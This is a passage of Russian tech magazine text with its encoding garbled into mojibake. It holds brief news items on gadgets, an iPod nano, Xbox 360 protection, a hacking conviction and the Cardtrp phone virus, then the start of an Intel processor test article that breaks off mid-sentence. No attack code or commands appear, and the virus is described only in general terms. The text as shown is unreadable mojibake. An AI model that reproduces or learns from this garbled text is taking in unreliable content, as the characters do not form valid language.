ãåðìàíñêîãî óíèâåðñèòåòà ïðèøëà â ãîëîâó ãåíèàëüíàÿ èäåÿ. Êàæäûé
ðàç, êîãäà î÷åðåäíàÿ êðóæêà ïèâà ïîäõîäèò ê êîíöó, èçðÿäíî óòîìëÿåò
ïîäçûâàòü îôèöèàíòêó, æäàòü, ïîêà îíà ïîäîéäåò, ïðèìåò çàêàç, ñõî-
äèò çà íèì� Áûëî áû ãîðàçäî ïðîùå, åñëè áû ýòî âñå ïðîèñõîäèëî àâ-
òîìàòè÷åñêè. Òàê è ïîÿâèëàñü íà ñâåò èíòåëëåêòóàëüíàÿ ïîäñòàâêà äëÿ

ïèâíîé êðóæêè. Äàííàÿ ïîäñòàâêà
ïîñòîÿííî ðåãèñòðèðóåò âåñ êðóæ-
êè, è êîãäà ýòî çíà÷åíèå îïóñêàåò-
ñÿ íèæå çàäàííîãî ïðåäåëà (à ýòî
îçíà÷àåò, ÷òî ïèâî ó êëèåíòà ïîä-
õîäèò ê êîíöó), òî ÷åðåç áåñïðî-
âîäíîå ñîåäèíåíèå ïîäàåòñÿ ñïå-
öèàëüíûé ñèãíàë îôèöèàíòàì,
÷òîáû òå ïðèíåñëè åùå ïèâà íà
íóæíûé ñòîëèê. Ïîëó÷èâøèéñÿ äå-
âàéñ ïîêà åùå íå ñîâñåì äîðàáî-
òàí, íà äàííûé ìîìåíò îí âåñèò
110 ãðàìì è îáõîäèòñÿ â 100 äîë-
ëàðîâ, îäíàêî ñîçäàòåëè óáåæäå-
íû, ÷òî ê ìîìåíòó çàïóñêà ìàññî-
âîãî ïðîèçâîäñòâà öåíà è ãàáàðè-
òû óñòðîéñòâà äîëæíû ñóùåñòâåí-
íî óìåíüøèòüñÿ. Ê òîìó æå ïðåä-
ïîëàãàåòñÿ ïðèñïîñîáèòü ïîäñòàâ-
êó è äëÿ äðóãèõ öåëåé, íàïðèìåð,
äëÿ ïðîâåäåíèÿ â ñïîðòèâíûõ ïà-
áàõ ðàçëè÷íûõ ãîëîñîâàíèé è äèñ-
êóññèé.

APPLE NANO

Êîìïàíèÿ Apple ïðåäñòàâèëà î÷åðåäíîé ïëååð èç ñåìåéñòâà iPod. Apple óäà-
ëîñü íà ýêñêëþçèâíûõ ïðàâàõ äîãîâîðèòüñÿ ñ Samsung î ñóùåñòâåííîì ñíè-
æåíèè öåí íà ôëýø ïàìÿòü, â ðåçóëüòàòå ñòàðòîâàÿ öåíà iPod nano ñîñòàâè-
ëà âñåãî 199$ çà 2 Ãá ìîäåëü è 249$ çà 4 Ãá ìîäåëü. Ïîñëå òàêîãî ïàäåíèÿ
öåí äðóãèå ïðîèçâîäèòåëè ïëååðîâ áûëè âûíóæäåíû ïåðåñìàòðèâàòü öåíó
íà ñâîè óñòðîéñòâà. Ê òîìó æå Apple, çàìåíèâ ëèíåéêó iPod mini (ñ æåñòêèì
äèñêîâ) íà iPod nano, íàíåñ òàêæå îùóòèìûé óäàð è ïî ïðîèçâîäèòåëÿì
æåñòêèõ äèñêîâ, êîòîðûì ñðàçó ñòàëè ïðåäðåêàòü ðåçêîå ïàäåíèå ñïðîñà íà
èõ ïðîäóêöèþ, à â äàëüíåéøåì è âîîáùå ïîëíîå âûìèðàíèå æåñòêèõ äèñêîâ
êàê êëàññà. Âíåøíå ïëååð iPod nano âûïîëíåí â êëàññè÷åñêèì äëÿ Apple äè-
çàéíå, îäíàêî îòëè÷àåòñÿ ïðîñòî ôåíîìåíàëüíîé òîëùèíîé � âñåãî 6.9 ìì,
è âåñîì � âñåãî 42 ã. Âðåìÿ ðàáîòû îò áàòàðåè â ðåæèìå ïðîñëóøèâàíèÿ
ìóçûêè, ñîñòàâëÿåò 14 ÷àñîâ. Ïëååð âîñïðîèçâîäèò ôîðìàòû AAC (îò 16 äî
320 Êáèò/ñ), Protected AAC, MP3 (îò 16 äî 320 Êáèò/ñ), MP3 VBR, Audible,
Apple Lossless, WAV è AIFF. Òàêæå iPod nano îáîðóäîâàí öâåòíûì LCD äèñï-
ëååì, íà êîòîðîì ìîæíî ïðîñìàòðèâàòü êàðòèíêè ðàñïðîñòðàíåííûõ ôîð-
ìàòîâ. Â nano îòêàçàëèñü îò ïîääåðæêè FireWire, ïîýòîìó ïîäêëþ÷åíèå ê
êîìïüþòåðó âîçìîæíî òîëüêî ÷åðåç èíòåðôåéñ USB. 
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Åæåãîäíî êîìïàíèÿ Neiman Marcus Group âûïóñêàåò ðîæäåñòâåíñêèé êàòà-
ëîã ïîäàðêîâ, ïðåäíàçíà÷åííûé äëÿ áîãàòûõ è áåçóìíî áîãàòûõ ëþäåé. Â
ïîñëåäíèé èç òàêèõ êàòàëîãîâ ïîïàëî áîëåå ÷åì èíòåðåñíîå òðàíñïîðòíîå
ñðåäñòâî, âíåøíå íàïîìèíàþùåå ñìåñü ãîíî÷íîãî àâòîìîáèëÿ è ðåàêòèâ-
íîãî ñàìîëåòà. Ëåòàòåëüíûé àïïàðàò ñ âåðòèêàëüíûì âçëåòîì, ïîä íàçâà-
íèåì Skycar M400, ìîæåò ðàçâèâàòü ìàêñèìàëüíóþ ñêîðîñòü â 560 êì/÷.
Ïðåäåëüíàÿ âûñîòà ïîëåòà ñîñòàâëÿåò 9700 ìåòðîâ, à ðàñõîä òîïëèâà �
âñåãî îäèí ëèòð íà 9 êèëîìåòðîâ. Ñîçäàòåëü àïïàðàòà Ïîë Ìîëëåð óáåæ-
äåí, ÷òî ïðèìåðíî ÷åðåç òðè ãîäà èíòåíñèâíûõ äîðàáîòîê åãî ëåòàòåëüíîå
ñðåäñòâî ñìîæåò ñòàòü òàêèì æå óäîáíûì è áåçîïàñíûì êàê îáû÷íûé àâ-
òîìîáèëü. Ê òîìó âðåìåíè îí ïëàíèðóåò íàëàäèòü ïðîäàæó ïîäîáíûõ àï-
ïàðàòîâ óæå íåáîëüøèì òèðàæîì. Ïîêà æå òðàíñïîðòíîå ñðåäñòâî íàõî-
äèòñÿ â ñòàäèè ïðîòîòèïà, íî âñå-òàêè ãîòîâî îòäàòüñÿ â äîáðûå ðóêè çà
3,5 ìèëëèîíà äîëëàðîâ. Âîò òîëüêî áóäóùèé ñ÷àñòëèâûé îáëàäàòåëü âðÿä
ëè ñìîæåò âîñïîëüçîâàòüñÿ äàííûì àïïàðàòîì ïî íàçíà÷åíèþ, äëÿ òîãî
÷òîáû óòðÿñòè âñå îôèöèàëüíûå ôîðìàëüíîñòè è ïîëó÷èòü äîáðî íà
âçëåò, ïðèäåòñÿ ïðîéòè îãðîìíîå êîëè÷åñòâî èíñòàíöèé.

ÖÈÍÈ×ÍÛÉ 
ÔÎÍÒÀÍ×ÈÊ

Â Ïðàãå ïîÿâèëàñü óíèêàëüíàÿ áðîíçîâàÿ ñêóëüïòóðà, èçîáðàæàþùàÿ
äâóõ ìóæ÷èí çà ñïðàâëåíèåì åñòåñòâåííîé íóæäû. Àâòîðîì äàííîãî
«ïðîèçâåäåíèÿ èñêóññòâà» ñòàë îòìîðîæåííûé ÷åøñêèé àðõèòåêòîð Äý-
âèä ×åðíûé, èçâåñòíûé ñâîèìè ýêñöåíòðè÷íûìè òâîðåíèÿìè. Ñàìîå
èíòåðåñíîå â òîì, ÷òî ñêóëüïòóðà íå ÿâëÿåòñÿ ìîíîëèòíîé: òàçîâûå ÷àñ-
òè ïàìÿòíèêîâ ìîãóò âðàùàòüñÿ â ãîðèçîíòàëüíîé ïëîñêîñòè, à «ìåìáå-
ðû» � â âåðòèêàëüíîé. Òàêèì îáðàçîì ÷åðåç êîìïüþòåð ìîæíî ïîë-
íîñòüþ óïðàâëÿòü íàïðàâëåíèåì ñòðóé, è òåì ñàìûì âûðèñîâûâàòü íà
ïîâåðõíîñòè âîäû ó íîã îïðåäåëåííûå ñèìâîëû. Â ñâîáîäíîå âðåìÿ ïà-
ìÿòíèêè ïîñèìâîëüíî âûïèñûâàþò èçðå÷åíèÿ èçâåñòíûõ ëè÷íîñòåé, íî
åñëè îòïðàâèòü SMS íà ñïåöèàëüíûé íîìåð, òî ñêóëüïòóðû îòâëåêóòñÿ
îò ñâîåãî ïðèâû÷íîãî çàíÿòèÿ è ïîñòàðàþòñÿ èçîáðàçèòü íà âîäå òåêñò
ïðèñëàííîãî ñîîáùåíèÿ. Åñòåñòâåííî, àâòîð íå ñîáèðàåòñÿ îñòàíàâëè-
âàòüñÿ íà äîñòèãíóòîì è âûíàøèâàåò èäåè âñå íîâûõ ïðîåêòîâ. Îäíèì
ñëîâîì, íàøåìó Öåðåòåëè åñòü êóäà ñòðåìèòüñÿ.

ÍÎÂÀß ÇÀÙÈÒÀ ÄËß
ÍÎÂÎÉ ÏÐÈÑÒÀÂÊÈ
ÎÒ MS

Êîìïàíèÿ Microsoft, êîòîðàÿ èçâåñòíà íå òîëüêî âûïóñêîì Windows, íî è
ñâîåé íàâîðî÷åííîé èãðîâîé ïðèñòàâêîé Xbox, ñ ãðóñòüþ íàáëþäàåò çà îò-
íîøåíèåì èãðîìàíîâ ê ñâîåìó èêñ-äåòèùó. Ìàëî èì âèíòà, âèäèòå ëè, ìà-
ëî âíåäðåííîé ïàìÿòè. Íî òî, ÷òî ðàñøèðÿþò âñòðîåííûå âîçìîæíîñòè, ýòî
åùå ëàäíî, òàê âåäü, èðîäû, âñòðàèâàþò íîâûå. Âñÿêèå íåõîðîøèå ÷èïû,
êîòîðûå ïîçâîëÿþò êîïèðîâàòü è ïðîèãðûâàòü ïèðàòñêèå äèñêè. «Áåçîáðà-
çèå ïðåêðàòèòü! Óâîëþ âñåõ íàõ»  � âîñêëèêíóë Áèëë Ãåéòñ, õëîïíóâ êóëà-
êîì ïî ñòîëó� è ðàáîòíèêè Microsoft òóò æå ïðåäëîæèëè ðåøåíèå. Êàê èç-
âåñòíî, ê Ðîæäåñòâó ýòîãî ãîäà êîìïàíèÿ ãîòîâèòñÿ ïðåäñòàâèòü ìèðó ïðèñ-
òàâêó íîâîãî ïîêîëåíèÿ Xbox 360. Îò ïðåäøåñòâåííèêà îíà áóäåò îòëè÷àòü-
ñÿ åùå áîëåå ìîùíûì ïðîöåññîðîì, åùå áîëåå ïðîäâèíóòîé àðõèòåêòóðîé
è åùå áîëåå êðóòûìè âîçìîæíîñòÿìè. Íî îòëè÷èå áóäåò íå òîëüêî â ýòîì �
çàùèòà â íîâîì Xbox áóäåò ðåàëèçîâàíà òåïåðü íà àïïàðàòíîì óðîâíå.
Âçëîìàòü åå íàìíîãî ñëîæíåå, è îäíèìè ìîçãàìè íå îáîéòèñü � ïîíàäî-
áèòñÿ äîðîãîå îáîðóäîâàíèå. Ñàìè ðàçðàáîò÷èêè çàùèòû íå îòðèöàþò âîç-
ìîæíîñòü âçëîìà îäíîé ïðèñòàâêè, íî ñ÷èòàþò, ÷òî âðÿä ëè õàêåðàì óäàñò-
ñÿ íàéòè óíèâåðñàëüíûé êëþ÷, êîòîðûé ïîäõîäèë áû êî âñåì èêñáîêñàì.
Ïîæèâåì � óâèäèì. Äîáàâëþ òîëüêî, ÷òî ñòîèìîñòü Xbox â áàçîâîì êîìï-
ëåêòå áóäåò ñîñòàâëÿòü 300$, à ïîëíûé âàðèàíò � íà 100$ äîðîæå.

ÏÈÎÍÅÐ ÈÍÒÅÐÍÅÒÀ
ÎÁÂÈÍÅÍ Â ÊÎÌÏÜÞ-
ÒÅÐÍÎÌ ÂÇËÎÌÅ
Íå öåíÿò â Áðèòàíèè çàñëóãè 50-ëåòíåãî Êëèôôîðäà Ñòýíôîðäà. À âåäü äå-
äóøêà â äàëåêîì 1992 ãîäó ñîçäàë îäíó èç ïåðâûõ â ìèðå êîììåð÷åñêèõ êîì-
ïàíèé, ïðåäîñòàâëÿþùèõ äîñòóï ê Èíòåðíåòó. È âîò òåïåðü åãî, âìåñòå ñ ÷àñò-
íûì äåòåêòèâîì Äæîðäæåì Ëàéääåëîì ïðèãîâîðèëè ê 6 ìåñÿöàì òþðüìû è
20 òûñÿ÷àì ôóíòîâ øòðàôà çà êîìïüþòåðíûé âçëîì. Ñòýíôîðä äàæå íå îò-
ðèöàë âèíó. Äà, áûëî äåëî, äàâíî, ïðàâäà, íî áûëî. Â 2000 ãîäó â Âåëèêîáðè-
òàíèè øëî ãðîìêîå ñóäåáíîå ðàçáèðàòåëüñòâî, â êîòîðîì ôèãóðèðîâàëà íå-
êàÿ Øèðëè Ïîðòåð, ðàáîòàâøàÿ íà ïðàâèòåëüñòâî è çàíèìàâøàÿ êîãäà-òî
âàæíûé ïîñò. Äàìî÷êà îêàçàëàñü íå â ìåðó ïðåäïðèèì÷èâîé, è âîêðóã åå èìå-
íè ãðåìåëè ãðîìêèå ñêàíäàëû. Â êîíöå êîíöîâ, åå ðàçæàëîâàëè è çà êàêèå-òî
ìàõèíàöèè ïîòðåáîâàëè â ñóäåáíîì ïîðÿäêå øòðàô â ðàçìåðå 27 ìèëëèîíîâ
ôóíòîâ. Øèðëè, ê òîìó âðåìåíè óæå ñêðûâàþùàÿñÿ â Èçðàèëå îò áðèòàíñêèõ
âëàñòåé, çàÿâèëà, ÷òî äåíåã ó íåå òàêèõ îòðîäÿñü íå áûëî, è ïëàòèòü îíà íå â
ñîñòîÿíèè. Êàçàëîñü áû, ïðè÷åì òóò Êëèôôîðä Ñòýíôîðä? Äåëî â òîì, ÷òî
Êëèôôîðä õàêíóë ìûëî ìàäàì Ïîðòåð, è, ïðî÷èòàâ åå ïåðåïèñêó, à òàêæå
âîñïîëüçîâàâøèñü óñëóãàìè ñûùèêà, äîñòàë äîêàçàòåëüñòâà òîãî, ÷òî Øèð-
ëè äàëåêî íå òàêàÿ áåäíàÿ, êàêîé ñåáÿ ñ÷èòàåò. Ýòó èíôîðìàöèþ 50-ëåòíèé
áðèòàíåö ñîáèðàëñÿ èñïîëüçîâàòü, ÷òîáû íàäàâèòü íà åå ñûíà, êîòîðûé ìå-
øàë åãî áèçíåñó. ×åì âñå ýòî çàêîí÷èëîñü � òû óæå â êóðñå. Ñíà÷àëà Êëèô-
ôîðäà ñîáèðàëèñü ñóäèòü çà øàíòàæ, íî ïîòîì îñòàâèëè òîëüêî ñòàòüþ çà
êîìïüþòåðíûé âçëîì. Òþðåìíîå çàêëþ÷åíèå, âïðî÷åì, îòñòðî÷èëè íà 2 ãîäà.
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Êîìïàíèÿ Samsung îäíîâðåìåííî àíîíñèðîâàëà ñðàçó òðè ãè-
ãàíòñêèå ïàíåëè, âûïîëíåííûå ïî òåõíîëîãèè PDP, LCD è OLED.
Äèàãîíàëü ïëàçìåííîé ïàíåëè ñîñòàâëÿåò 102 äþéìà, æèä-
êîêðèñòàëëè÷åñêîé � 82, à íà îðãàíè÷åñêèõ ñâåòîäèîäàõ � 40.
Îäíàêî îñîáûé èíòåðåñ ïðåäñòàâëÿåò èìåííî ïîñëåäíèé ïðîòî-
òèï. Ýòî ñàìàÿ êðóïíàÿ â ìèðå OLED (Organic Light Emitting
Diodes) ïàíåëü, ïðè ýòîì îíà îáëàäàåò áîëåå ÷åì âíóøèòåëüíû-
ìè õàðàêòåðèñòèêàìè. Ðàçðåøåíèå ðàâíÿåòñÿ 1280x800, ÷òî õîòü
è íå èäåàëüíî, íî ïîäõîäèò äëÿ ïðîñìîòðà HDTV. Âðåìÿ îòêëèêà
îáåùàåòñÿ áûòü â 1000 ðàç ìåíüøå ó LCD, â ñâÿçè ñ ÷åì òåðÿåò-
ñÿ âñÿêèé ñìûñë âîîáùå óêàçûâàòü ýòîò ïàðàìåòð. Êîíòðàñò-
íîñòü íàõîäèòñÿ íà óðîâíå 5000:1, à ÿðêîñòü � 600 êä/ì2. Äîïîë-
íèòåëüíî ñòîèò îòìåòèòü, ÷òî óãîë îáçîðà ñî âñåõ ñòîðîí âïëîò-
íóþ ïðèáëèæàåòñÿ ê ðàçâåðíóòîìó, ýíåðãîïîòðåáëåíèå âåñüìà
ìàëî, à òîëùèíà îêîí÷àòåëüíîãî âàðèàíòà ïàíåëè äîëæíà ñîñòà-
âèòü íå áîëåå 3 ñì. Õîòü íà ñåãîäíÿøíèé äåíü òåõíîëîãèÿ OLED
åùå è íå ðåøàåòñÿ íà÷àòü íàñòóïëåíèå íà LCD ñðåäè ìîíèòîðîâ
è òåëåâèçîðîâ, à îãðàíè÷èâàåòñÿ ëèøü ïëååðàìè è ñîòîâûìè òå-
ëåôîíàìè, íî ó íåå åñòü óæå âñå øàíñû âñòóïèòü â ýòó áîðüáó â
áëèæàéøèå ãîäû. Íî íà äàííûé ìîìåíò, êîíå÷íî, î ñðîêàõ ïîñ-
òóïëåíèÿ íîâèíêè íà ïðèëàâêè íè÷åãî íå ãîâîðèòñÿ.

ÏËÅÅÐ ÍÀ ÒÎÏËÈÂÅ
Êîìïàíèÿ Toshiba
ïðåäñòàâèëà äâà ðàáî-
òîñïîñîáíûõ ïðîòîòè-
ïà mp3 ïëååðîâ, ôóíê-
öèîíèðóþùèõ íà îñíî-
âå òîïëèâíûõ ýëåìåí-
òîâ ïèòàíèÿ òèïà DMFC
(Direct Metanol Fuel
Cell), ãäå â êà÷åñòâå
òîïëèâà âûáðàí âûñî-
êîêîíöåíòðèðîâàííûé
ìåòàíîë (99,5 %). Ïåð-

âûé àíîíñèðîâàííûé ïëååð, îñíàùåííûé ôëýø ïàìÿòüþ, ðàáîòàåò îò áà-
òàðåè ìîùíîñòüþ 100 ìÂò (ìèëëèâàòò â ÷àñ). Îäíîé çàïðàâêè äîëæíî
õâàòàòü íà âåñüìà âíóøèòåëüíîå âðåìÿ � 35 ÷àñîâ íåïðåðûâíîãî âîñï-
ðîèçâåäåíèÿ ìóçûêè, ïðè÷åì äëÿ ýòîãî ïîòðåáóåòñÿ âñåãî ëèøü 3,5 ìë
ìåòàíîëà. Âòîðîé ïëååð õðàíèò èíôîðìàöèþ íà æåñòêîì äèñêå, è, êîíå÷-
íî, òðåáóåò áîëåå ìîùíóþ áàòàðåþ � íà 300 ìÂò. Â ýòîì ñëó÷àå äëÿ ïîë-
íîé çàïðàâêè òðåáóåòñÿ óæå 10 ìë òîïëèâà, íî ïðè ýòîì è âðåìÿ ðàáîòû
ñðàçó âîçðàñòåò äî 60 ÷àñîâ. Áåññïîðíî, ïî ñðàâíåíèþ ñ ëèòèé-èîííûìè
àêêóìóëÿòîðàìè, ýòî âûäàþùèåñÿ ðåçóëüòàòû, íî ïîêà îñòàþòñÿ îòêðû-
òûìè åùå íåñêîëüêî âîïðîñîâ. Â ÷àñòíîñòè, ïðîèçâîäèòåëåé îòêðîâåííî
íå óñòðàèâàþò âíóøèòåëüíûå ãàáàðèòû ñàìèõ áàòàðåé, êîòîðûå ñîñòàâ-
ëÿþò 23x75x10 ìì è 60õ75õ10 ìì. Òî÷íàÿ äàòà ïîñòóïëåíèÿ óñòðîéñòâ â
ïðîäàæó è èõ îðèåíòèðîâî÷íàÿ ñòîèìîñòü ïîêà íå ñîîáùàþòñÿ, ñêîðåå
âñåãî, èõ îòïðàâÿò íà äàëüíåéøóþ äîðàáîòêó.

ÃÈÁÐÈÄÍÛÉ ÂÈÐÓÑ
Íåäàâíî â ñåòè àíòèâèðóñíûõ
êîìïàíèé ïîïàëñÿ ïðèíöèïèàëü-
íî íîâûé òèï âðåäîíîñíîé ïðîã-
ðàììû. Âèðóñ, íàçâàííûé Cardtrp
ñïîñîáåí ïîðàæàòü íå òîëüêî
ñìàðòôîíû íà ïëàòôîðìå Series
60 (Nokia 6600, Nokia 7610, Nokia
7610, Sendo X, Siemens SX1 è íå-
êîòîðûå äðóãèå), íî è ïîëíîöåí-
íûå ÏÊ ïîä óïðàâëåíèåì Windows.
Çàðàæåíèå ïðîèñõîäèò ñëåäóþ-
ùèì îáðàçîì: ñíà÷àëà äåñòðóê-
òèâíûé êîä ïîïàäàåò íà ñìàðò-
ôîí ëèáî ÷åðåç ñîîáùåíèå MMS,
ëèáî ïî êàíàëó Bluetooth. Çàòåì
âèðóñ èùåò â òåëåôîíå èçâåñò-
íûå åìó ïðèëîæåíèÿ è ïîäìåíÿ-
åò èõ ôàéëû íåðàáîòîñïîñîáíû-
ìè êîïèÿìè, ïîñëå ÷åãî ïðîâå-
ðÿåò íàëè÷èå â òåëåôîíå êàðòû

ïàìÿòè è ïûòàåòñÿ çàïèñàòü íà íåå ÷åðâÿ Wukill.B è òðîÿí Berbew.A
(êîòîðûé ê òîìó æå ñòàâèò íà àâòîçàïóñê). 
Äàëüíåéøåå óæå çàâèñèò îò áäèòåëüíîñòè ïîëüçîâàòåëÿ. Ýêñïåðòû
ñ÷èòàþò, ÷òî îñíîâíîå ïðåäíàçíà÷åíèå äàííîãî âèðóñà � èìåííî
çàðàæåíèå ÏÊ. Íàâåðíîå, ñîçäàòåëè Cardtrp ðàññ÷èòûâàëè íà òî,
÷òî þçåð, îáíàðóæèâøèé íåèñïðàâíîñòü ñîòîâîãî, âûíåò êàðòó èç
òåëåôîíà, âñòàâèò åå â êîìïüþòåð, ïîïðîáóåò íàéòè ïðè÷èíó íå-
èñïðàâíîñòè è ñëó÷àéíî çàïóñòèò ÷åðâÿ èëè òðîÿí. Íà äàííûé ìî-
ìåíò Cardtrp íå ïðåäñòàâëÿåò êàêîé-ëèáî ñåðüåçíîé óãðîçû, íî íå
èñêëþ÷åíî, ÷òî îí áûë âñåãî ëèøü òåñòîâûì âàðèàíòîì, çà êîòî-
ðûì ïîñëåäóþò äîðàáîòàííûå ìîäèôèêàöèè. Êàê ãîâîðèòñÿ,
êðîñïëàòôîðìåííîñòü � ýòî òî÷íî íàøå áóäóùåå è íå îáÿçàòåëüíî
îíî áóäåò ðàäóæíûì :).
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Ïðîöåññîð� Ñêîëüêî ñïîðîâ î âàæíîñòè
ýòîãî êîìïîíåíòà ñèñòåìû ìèíóëî çà âñþ
êîìïüþòåðíóþ èñòîðèþ � âñå è íå ñîñ÷è-
òàòü. È ïóñòü ñåé÷àñ, êîãäà íà ñðåäíåñòà-
òèñòè÷åñêèé äîìàøíèé êîìï ëîæèòñÿ ñà-
ìûé øèðîêèé ñïåêòð çàäà÷: îò ïðîñòîãî íà-
áîðà òåêñòîâ äî êðóòåéøèõ 3D-èãð è îöèô-
ðîâêè âèäåî, è ïàëüìà ïåðâåíñòâà èíîãäà
ïåðåõîäèò è ê äðóãèì äåâàéñàì (â çàâèñè-
ìîñòè îò òðåáîâàíèé þçåðà), «êàìåíü» âñå
ðàâíî îñòàåòñÿ îñíîâíîé ñòðî÷êîé â ïðàéñ-
ëèñòå ïðè ïîêóïêå èëè àïãðåéäå ñèñòåìû.

Ýòî îáúÿñíÿòü, äóìàåì, íå íàäî � äîñòà-
òî÷íî ñêàçàòü, ÷òî êàêîé áû äîðîãîé è ìîù-
íîé âèäåîêàðòîé òû íå îáëàäàë, îíà íå
ðàñêðîåò è ïîëîâèíû ïîòåíöèàëà, åñëè íàã-
ðóæàòü êîìàíäàìè åå áóäåò êðåìíèåâûé
«ñòàðè÷îê» òðåõëåòíåé äàâíîñòè. Ïðî ïðè-
ëîæåíèÿ, òðåáóþùèå ñëîæíûõ âû÷èñëåíèé,
è âîâñå óìîë÷èì :). Âîò òàê, èñõîäÿ èç ýòèõ
ìûñëåé, ìû ðåøèëè ïîñâÿòèòü î÷åðåäíîé
ìàòåðèàë òåñòèðîâàíèþ ïðîöåññîðîâ Intel
äëÿ ïëàòôîðìû LGA775 � êàê áþäæåòíûõ,
òàê è âûñîêîïðîèçâîäèòåëüíûõ�

×òîáû âûÿâèòü âñå ñèëüíûå è ñëàáûå ñòîðî-
íû ïðîöåññîðîâ, ìû ïóñòèëè ÷åðåç íèõ äî-
âîëüíî îáøèðíûé íàáîð òåñòîâ. Â èõ ÷èñëî
âîøëè ñòàâøèé óæå êëàññèêîé 3DMark'01
SE, ïðîãðàììà SuperPI, âû÷èñëÿþùàÿ íà
âðåìÿ ÷èñëî Ïè ñ òî÷íîñòüþ 1 Ìá, à òàêæå
áåí÷ìàðê, âñòðîåííûé â àðõèâàòîð WinRAR
3.50. Èãðîâîå ïðèëîæåíèå áûëî ïðåäñòàâ-
ëåíî Unreal Tournament 2004, ïðîãîíÿåìîé
íà ìàêñèìàëüíîé äåòàëèçàöèè ñ ìèíèìàëü-
íûì ðàçðåøåíèåì � òàê îñíîâíàÿ íàãðóçêà
ëîæèòñÿ èìåííî íà ïðîöåññîð, à íå íà âèäåî-

ïîäñèñòåìó. Êðîìå òîãî, ïðèìåíÿëèñü òåñòû
íà êîäèðîâàíèå àóäèî è âèäåî � ñ ïî-
ìîùüþ ïðîãðàìì Exact Audio Copy (êîäåê
Lame, èñïîëüçóåìûé áèòðåéò -VBR 160
Kbps) è Gordian Knot, ñæèìàþùåé âèäåîïî-
òîê â ôîðìàò DivX (èñïîëüçîâàëàñü âåðñèÿ
êîäåêà 5.11). Äëÿ ïðîâåðêè äâóõúÿäåðíûõ
ïðîöåññîðîâ è êàìíåé ñ Hyper-Threading íà
ðàáîòó â èõ ðîäíîé ñðåäå � ìóëüòèçàäà÷-
íîñòè, ìû ïîâòîðíî èñïîëüçîâàëè Exact
Audio Copy è SuperPI, íî íà ýòîò ðàç ñ ïàðàë-
ëåëüíî ðàáîòàþùèì òåñòîì WinRAR.

ÎÎÄÄÍÍÀÀ ÃÃÎÎËËÎÎÂÂÀÀ ÕÕÎÎÐÐÎÎØØÎÎ,,
ÍÍÎÎ ÁÁÛÛÂÂÀÀÅÅÒÒ ÈÈ ÄÄÂÂÅÅ

[intro]

[ìåòîäèêà òåñòèðîâàíèÿ]

[òåñòîâûé ñòåíä]

Ìàòåðèíñêàÿ ïëàòà: Asus P5AD2-E Premium
Ïàìÿòü: 2õ512 Ìá Corsair CM2X512A-5400UL 3-2-2-8
Âèäåîêàðòà: 256 Ìá Asus EN7800GTX TOP
Êóëåð: Zalman CNPS 7700Cu
Æåñòêèé äèñê: Western Digital WD200 SATA
Áëîê ïèòàíèÿ:480 Âò Thermaltake PurePower Butterfly W0020

test_lab âûðàæàåò áëàãîäàðíîñòü çà ïðåäîñòàâëåííîå íà òåñòèðîâàíèå îáîðóäîâàíèå êîìïàíèÿì: ÍÈÊÑ - Êîìïüþòåðíûé
Ñóïåðìàðêåò (ò.(095)974-3333, www.nix.ru), Ultra Electroncs (ò.(095)775-7566, www.ultracomp.ru), à òàêæå ðîññèéñêîìó
ïðåäñòàâèòåëüñòâó êîìïàíèè Intel.

Îêóíåâ Äìèòðèé, Øàìàåâ Äìèòðèé, test_lab (test_lab@gameland.ru)
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Ïðîéäÿ äîëãèé òåõíîëîãè÷åñêèé ïóòü îò
ÿäðà Northwood äî íîâîìîäíûõ Prescott
2M, ïðîöåññîðû Intel Pentium 4 îáðîñëè
îãðîìíûì êîëè÷åñòâîì ïîëåçíûõ òåõíî-
ëîãèé, áåç êîòîðûõ èõ ñåé÷àñ óæå ïðîñòî
íåâîçìîæíî ïðåäñòàâèòü. Åñòåñòâåííî,
íå âñå îíè èñïîëüçóþòñÿ â êàæäîé ìîäå-
ëè � íåêîòîðûå íàõîäÿòñÿ â ñïèñêå
Features ëèøü ñàìûõ äîðîãèõ ïðîöîâ, íî,
òåì íå ìåíåå, â ëèöî èõ çíàòü íàäî.
Hyper-Threading � íàâåðíîå, íàèáîëåå
øèðîêî ðàçðåêëàìèðîâàííàÿ «ôèøêà»
Intel Pentium 4. Çàêëþ÷àåòñÿ îíà â òîì,
÷òî ëîãè÷åñêè â ñèñòåìå íàõîäèòñÿ íå
îäèí, à ñðàçó äâà «êàìíÿ» � â îïðåäå-
ëåííûõ ñèòóàöèÿõ ýòî ïîçâîëÿåò ïîëó-
÷èòü âûèãðûø â ïðîèçâîäèòåëüíîñòè.
Íà ñàìîì äåëå òåõíîëîãèÿ � íå áîëåå
÷åì ýìóëÿöèÿ, ïîýòîìó è ïðèðîñò íàá-
ëþäàåòñÿ êðàéíå ðåäêî, à òî÷íåå, ëèøü
â îïòèìèçèðîâàííûõ ïðèëîæåíèÿõ, êî-
òîðûõ íå òàê óæ ìíîãî. Íî åñòü ó íåå è
íåîñïîðèìîå ïðåèìóùåñòâî � ïðè îä-
íîâðåìåííîé ðàáîòå íåñêîëüêèõ ïðè-
ëîæåíèé (íàïðèìåð, îöèôðîâêå àóäèî
è àðõèâàöèè äàííûõ) êîíêóðèðîâàòü ïî
ïðîèçâîäèòåëüíîñòè ñ Hyper-Threading
ìîæåò ðàçâå ÷òî ïîëíîöåííûé äâóÿ-
äåðíûé ïðîö, íî ýòî óæå ñîâñåì äðóãàÿ
öåíîâàÿ êàòåãîðèÿ. EM64T (Extended
Memory 64 Technology) � òåõíîëîãèÿ,
ñòàâøàÿ çàïîçäàëûì îòâåòîì Intel íà
ïðîöåññîðû AMD Athlon64 è ïðèøåäøàÿ
âìåñòå ñ ÿäðîì Prescott 2M. Ïðîùå ãîâî-
ðÿ, îáûêíîâåííàÿ 64-õ áèòíàÿ àðõèòåêòó-
ðà. Â ïðèíöèïå, âíåäðèâ ýòó òåõíîëîãèþ
ãîðàçäî ïîçæå AMD, Intel ìíîãî íå ïîòå-
ðÿëà � ïðèëîæåíèé, èñïîëüçóþùèõ ïðå-
èìóùåñòâî òàêèõ ïðîöîâ, äî ñèõ ïîð íå
òàê óæ ìíîãî. À åñëè ó÷åñòü, ÷òî 64-õ áèò-
íàÿ âåðñèÿ Windows, áåç êîòîðîé îò àð-
õèòåêòóðû òîëêó íåò âîîáùå, ïîÿâèëàñü
â ïðîäàæå ñîâñåì íåäàâíî, òî ïîëèòèêà
êîìïàíèè è âîâñå êàæåòñÿ âî âñåõ îòíî-
øåíèÿõ ïðàâèëüíîé. EIST (Enhanced Intel
SpeedStep) � òåõíîëîãèÿ, êàê è EM64T,
âïåðâûå ââåäåííàÿ â ÿäðå Prescott 2M è
